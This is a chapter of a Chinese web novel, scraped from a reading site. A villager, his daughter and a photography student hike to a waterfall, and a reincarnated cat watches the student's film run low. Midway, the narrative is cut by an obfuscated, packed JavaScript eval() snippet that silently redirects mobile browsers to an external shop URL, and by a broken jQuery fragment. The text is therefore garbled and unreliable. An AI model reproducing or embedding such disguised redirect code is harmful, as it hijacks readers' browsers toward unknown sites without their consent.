文趣网 > 其他小说 > 回到九零变成猫 > 12. 白练瀑布
    第12章

    “还拍不?”杨满仓瞥了陈德民一眼。

    陈德民把相机紧紧搂在胸口,脑袋摇得像拨浪鼓:“不拍了不拍了,省胶卷,省胶卷。”

    走出晒谷场好一段路,杨桃才把兜里那块揉得皱巴巴的红格子手帕掏出来还给他:“塞包里头去,莫露出来。等会儿回来还得打这里过呢。”

    陈德民连连点头,赶紧把手帕塞进帆布包最里面。

    去往后山瀑布的路窄得很,出了寨子,先得贴着层层叠叠的梯田盘旋往上,再一头扎进竹林里。

    田埂上的野草被前几天的雨水洗得发青,晶莹的水珠沉甸甸挂在草尖上。底下的梯田里蓄着浅浅的水,倒映着云缝里漏出来的天光,山风一吹,水面晃起一片碎亮的光。

    当然,路面上的黄泥也半点没少。

    杨满仓走在最前头开路,陈德民跟在后头,走走停停。

    他先在两丛野蕨草旁蹲下,瞅着那张挂满细碎水珠的蜘蛛网端详了半天,又往旁挪了两步,等晨光正好照透水珠,咔嚓按下了快门。

    换着角度连按了两张,拐过一道田坎,他又瞧见底下水田里有个妇人正在弯腰拔草。

    妇人把粗布裤腿挽到了膝盖上,赤脚踩在泥水里,拔下来的杂草在田埂边码了一小堆。

    陈德民没直接按快门,隔着田坎先打招呼:“大姐,给您拍张干活的相片行不?”

    妇人直起腰,抬手背擦了擦额头上的汗:“我浑身是泥,有啥子好拍的哟?”

    “就想拍一下山里人怎么过日子。您照常干活,不用看我。”

    妇人瞅了瞅他胸前挂的黑匣子,又抬头冲前头的杨满仓喊:“满仓,这就是昨儿王干事领上来的大学生啊?”

    “嗯。”杨满仓应了一声。

    “城里人怪得很。”妇人嘴上念叨着,手却悄悄把粘在脸颊上的湿头发抿到了耳后。再弯腰拔草时,身子绷得有些僵,手底下的动作倒依旧麻利。

    陈德民退开两步,把泛着光的水田和后头的大山一并收进取景框,按了快门,冲下头招手:“拍好了!等洗出来寄给杨满仓,您找杨叔拿!”

    “怎么还真给我寄过来噻。”妇人直起腰笑。

    “柳根嫂,到时候我叫杨桃给你送屋里去。”杨满仓在路边搭了一句。

    柳根嫂爽朗地笑起来:“那可莫把我拍得跟个黑脸鬼一样!”

    “哪能呢,保准精神!”陈德民笑着应道。

    转过一道山梁,前头山坳里还罩着一层没散尽的晨雾,陈德民又放慢了步子,半蹲在一块长青苔的石头旁找角度。

    杨满仓在前头停住脚:“小陈。”

    “马上!马上就好!”

    “你这个马上,怕是有一里路长。”杨满仓把柴刀换到左手,“一张蜘蛛网,家里没得?”

    “那能一样吗!山里的光线都不一样啊!”

    杨满仓索性也不催他了,找了块干爽的青石坐下,掏出旱烟袋吧嗒吧嗒点上,由着他折腾。

    姜小弥趴在背篓边沿,探着脑袋看得津津有味。

    上辈子她跟着爸妈出门度假,路线、专车、酒店,全有管家安排得妥妥当当。那些风景名胜区的步道修得平平整整,栏杆擦得干干净净,连站哪儿看景都有木牌指得明明白白。

    这里可没人替他们收拾。

    野毛竹放肆地往路当中挤,藤蔓爱爬哪儿就爬哪儿,石阶断了一截也没人补。

    路是真烂,山也是真野。

    可远处那层白茫茫的晨雾顺着山腰慢慢往上浮,底下露出波光粼粼的梯田,上头是苍翠的一整片大林子。

    没有路标指着哪儿最好看,偏偏随便往哪儿瞧一眼,都透着一股生机勃勃的野趣。

    当然了——要是脚底下没有这层黏糊糊的黄泥巴,那就更顺眼了。

    陈德民终于快步赶了上来,一边走一边随口问:“杨桃,你今年多大啦?”

    “九岁。”

    “在学校读几年级?”

    杨桃脚步顿了顿,眼神飘了飘,含糊道:“村小这两天停课。”

    “我晓得停课,我是问你读几年级。”

    杨桃抬手往前一指:“小陈哥你看着点脚下,那边草丛里有蚂蟥!”

    “哎哟我的妈!”陈德民当场跳起来,赶紧低头拍打裤脚。

    等他提心吊胆地走过那片湿草地,才回过味来,小姑娘根本没答他的话。再抬头时,杨桃早就一溜烟跑到了她爹前头,正兴冲冲指着远处一块石头喊像牛脑袋。

    杨满仓只淡淡丢下一句:“看路,别摔了。”

    陈德民摸了摸鼻子,识趣地没再追问。

    白练瀑布还没露头,轰隆隆的水声先越过密林传了过来。

    那动静大得很,像有人不停往山下倒石头。

    姜小弥原本趴得好好的,一听见这声响,浑身的毛都炸开了,四只爪子死死抠住背篓边沿。

    那种被水卷住的滋味似乎一下又回来了。

    冰凉浑浊的水灌进鼻腔,四周天旋地转,尾巴被暗流里的石头死死压住,整只猫在水里翻腾挣扎……

    虽然那其实并不是她的记忆,但现在在这个身体里,还是能感受到那残留的恐惧。

    她咽了口唾沫,默默往背篓底下缩了一截。

    杨桃感觉背篓轻轻晃了一下,扭头往后看,小白猫已经趴成了扁扁的一团,两只耳朵紧紧贴在后脑勺上。

    “莫怕莫怕,还没到水边呢。”杨桃反手伸进背篓,在她小脑袋上轻轻顺了两把毛。

    姜小弥没有拍她,蹭了蹭她的掌心。

    绕过一片湿漉漉的青色岩壁,眼前豁然一亮。

    两道陡峭的山崖往当中收拢,中间被急流切出一道高悬的窄口,一挂雪白的大水从几十米高的悬崖上轰然倾泻而下!

    瀑布先撞上突出的岩脊,碎成漫天白沫,落到潭底时已化作满谷翻涌的湿润水雾,山风一卷,冰凉细密的水汽扑头盖脸落下来,激得人浑身一激灵。

    潭水从乱石堆里奔涌而出,汇入的正是前几天把姜小弥冲到寨口的那条山溪。

    林子的尽头是一片缓坡,上面嵌着许多大小不一的山石,离路最近的那块通体乌黑,石顶又宽又平,旁边一棵歪脖子树斜斜伸过来,遮挡了一部分视线。

    杨满仓沿着路边看了一遍,才回身招呼他们过去。

    “都看着脚下。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863077|212097||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他用柴刀点了点坡下,“湿草和青苔莫踩,也莫往潭边凑,滑一跤可不是耍的。”

    杨桃乖乖点头,陈德民嘴里答应着,眼睛却早黏在瀑布上了。

    他摸出一张镜头纸小心擦了擦镜片,端起相机沿路找角度。

    看了一会儿,他嫌歪脖子老树横出去的树干和枝叶挡住了瀑布右边,便盯着取景框,顺着路边来回横挪。

    他的注意力全在取景框里,调整角度的时候,脚后跟不知不觉间已经靠近了斜坡,他自己却浑然不知。

    一只大手猛地拽住他的手臂,把人扯了回来。

    “你不要命了?再往外半步,人就滚下去了!”杨满仓黑着脸。

    陈德民被扯得一个趔趄,放下相机才看清脚下,脸瞬间白了:“对不住对不住,杨叔,我光顾着看镜头了,没留神脚底下。”

    “拍你这玩意儿的,容易出事吧?”

    杨满仓也吓出一脑门汗,干脆跟在他身旁,免得这人又挪来挪去往水潭里滑。

    陈德民老实了片刻,可一捧起相机,整个人又入了迷。

    姜小弥蹲在背篓里打量他。

    这人之前看着冒冒失失,一拿起相机却像换了个人。

    不再吵吵嚷嚷,屏住呼吸对准焦距,为了找到一个满意的构图能耐着性子寻摸半天。

    遇上云彩遮住太阳,他便耐着性子等,直到风把云层扯开一道口子,阳光重新洒在瀑布水花上,才果断按下快门。

    姜小弥本来一点儿也不想出去。

    那水声轰隆轰隆的,底下又是水潭,实在危险,为了拍张照片把小命搭上,怎么算都亏本。

    可陈德民对着瀑布咔嚓咔嚓按了七八张,又招手叫杨桃站在一丛野芭蕉底下拍了一张,镜头转来转去,愣是没往背篓这边瞅上一眼。

    姜小弥渐渐坐不住了。

    她记得清清楚楚,之前陈德民说过,胶卷只剩二十七张。

    这一路上拍蜘蛛网、拍拔草妇人、拍风景,到了瀑布更是按个没完,照他这么大手大脚挥霍下去,还能留几张给她?

    陈德民拍完杨桃,低头看了一眼相机顶上的计数窗,咂了咂嘴:“就剩十三张了啊。”

    姜小弥在心里直翻白眼:你一张破蜘蛛网拍那么多张干什么!

    “小陈哥,给猫儿拍张吧?”杨桃将背篓卸下来,伸手进去摸白猫,“猫儿,出来拍相片不?”

    姜小弥犹豫了。

    她是来拍照的,但是这水……

    “它好像不想出来。”陈德民打量着猫儿道,“不愿意就算了,昨天拍那张就把它惹毛了,满院子追着我扑,今天要是再抓狂,我这镜头可经不住它一爪子。”

    不拍了?!

    那她今天早上忍辱负重梳那么久的毛是为了什么?

    姜小弥“蹭”地一下站起来,两只前爪扒住篓沿,飞快打量了一圈。

    底下是土路,她才不要在这里拍,前方嵌在斜坡上的一块黑色岩石正正好,后头恰好是那挂散成白雾的瀑布。

    她就在那里拍,不用沾泥,也挨不着水,拍出来还好看。

    就那里了!

    她轻盈地跃出背篓,飞快直奔水潭。